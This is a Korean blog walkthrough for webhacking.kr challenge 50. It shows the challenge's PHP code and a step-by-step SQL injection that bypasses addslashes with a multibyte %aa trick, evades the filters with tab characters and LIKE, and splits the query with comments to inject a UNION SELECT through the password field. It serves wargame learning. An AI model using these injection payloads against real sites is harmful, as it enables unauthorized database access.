[webhacking.kr] 50번 문제 풀이[SQL Injection]

1 분 소요

💡 Webhacking.kr challenge(old) 50번 문제에 대한 풀이입니다.

문제

image

<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>

문제 풀이

injection을 해야하는 sql 문 부터 보면 다음과 같습니다.

select lv from chall50 where id='{}' and pw=md5('{}')

우선 GET[‘id’]의 경우 addslashes() 함수 이후에 mb_convert_encoding함수를 사용하여 UTF-8로 인코딩을 바꿔줬기 때문에 multibyte encoding을 이용하여 addslashes() 함수를 우회할 수 있습니다. 이를 이용해서 id에 익젝션을 수행할 쿼리문을 작성합니다.

id=%aa' or lv=3--%20

쿼리문에서 문제에서 preg_match로 필터링 하는 문자를 우회하도록 바꿔줍니다.

공백 -> %09 , = -> like

id=%aa'%09or%09lv%09like%093--%09

쿼리문을 수행해 봤더니 다음과 같이 안됩니다.

image

혹시 테이블에 lv=3인 데이터가 없는지 확인해 보기 위해서 like 3 을 like 2로 바꿔서 해봤더니 like 2 는 성공적으로 수행됩니다.

image

즉, 테이블에 lv = 2인 데이터는 있기 때문에 나온 것이고 lv=3인 데이터는 없기 때문에 안나온 것입니다.

테이블에 데이터가 없기 때문에 union select 구문을 이용해야 합니다.

하지만 이번 문제에서 가장 까다로운 조건이 하나 붙어 있었습니다. 다음 조건 때문에 id에는 union을 사용할 수 없었습니다.

if(preg_match("/union/i",$_GET['id'])) exit();

그렇기 때문에 pw를 통해서 union select 구문을 수행시켜야 합니다.

이번 문제를 풀기위한 아이디어는 주석을 사용하는 것입니다. 다음과 같이 id 와 pw 사이에 /* */를 끼워 넣습니다.

select lv from chall50 where id='%aa'/* and pw=md5('*/')

그러면 pw 쪽에서 '가 지워지기 때문에 쿼리문을 작성할 수 있습니다.

  • id : %aa’/*
  • pw : */union%09select%093%23

위와 같이 쿼리문을 만들어서 서버로 전송하면 다음과 같이 문제가 클리어 됩니다.

image

댓글남기기